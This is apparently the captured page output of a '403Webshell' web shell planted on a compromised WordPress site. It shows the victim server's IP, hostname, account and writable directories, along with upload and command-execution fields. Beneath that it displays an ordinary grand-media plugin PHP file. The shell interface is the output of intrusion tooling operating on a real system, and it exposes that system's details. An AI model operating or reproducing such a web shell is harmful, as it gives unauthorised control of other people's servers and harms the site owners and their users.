403Webshell
Server IP : 185.68.16.147  /  Your IP : 216.73.216.182
Web Server : Apache
System : Linux web789.default-host.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
User : jt292766 ( 1182)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/jt292766/konstruktbud.com.ua/www/wp-content/plugins/grand-media/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/jt292766/konstruktbud.com.ua/www/wp-content/plugins/grand-media/admin//functions.php
<?php

function gm_get_admin_url( $add_args = array(), $remove_args = array(), $uri = false, $preserve_args = array() ) {
	global $gmCore;

	return $gmCore->get_admin_url( $add_args, $remove_args, $uri, $preserve_args );
}

function gm_panel_classes( $classes ) {
	echo esc_attr( implode( ' ', (array) $classes ) );
}

function gmedia_term_choose_author_field( $selected = false, $_args = array() ) {
	global $gmCore;

	$user_ID = get_current_user_id();
	if ( false === $selected ) {
		$selected = $user_ID;
	}

	$user_ids = gm_user_can( 'delete_others_media' ) ? $gmCore->get_editable_user_ids() : array( $user_ID );
	if ( $user_ids && gm_user_can( 'edit_others_media' ) ) {
		if ( ! in_array( $user_ID, $user_ids, true ) ) {
			$user_ids[] = $user_ID;
		}
		$args = array(
			'include'          => $user_ids,
			'include_selected' => true,
			'name'             => 'term[global]',
			'selected'         => $selected,
			'class'            => 'form-control input-sm',
			'multi'            => true,
			'show_option_all'  => __( 'Shared', 'grand-media' ),
		);
		$args = array_merge( $args, $_args );
		wp_dropdown_users( $args );
	} else {
		echo '<input type="hidden" name="term[global]" value="' . intval( $user_ID ) . '"/>';
		echo '<div>' . esc_html( get_the_author_meta( 'display_name', $user_ID ) ) . '</div>';
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit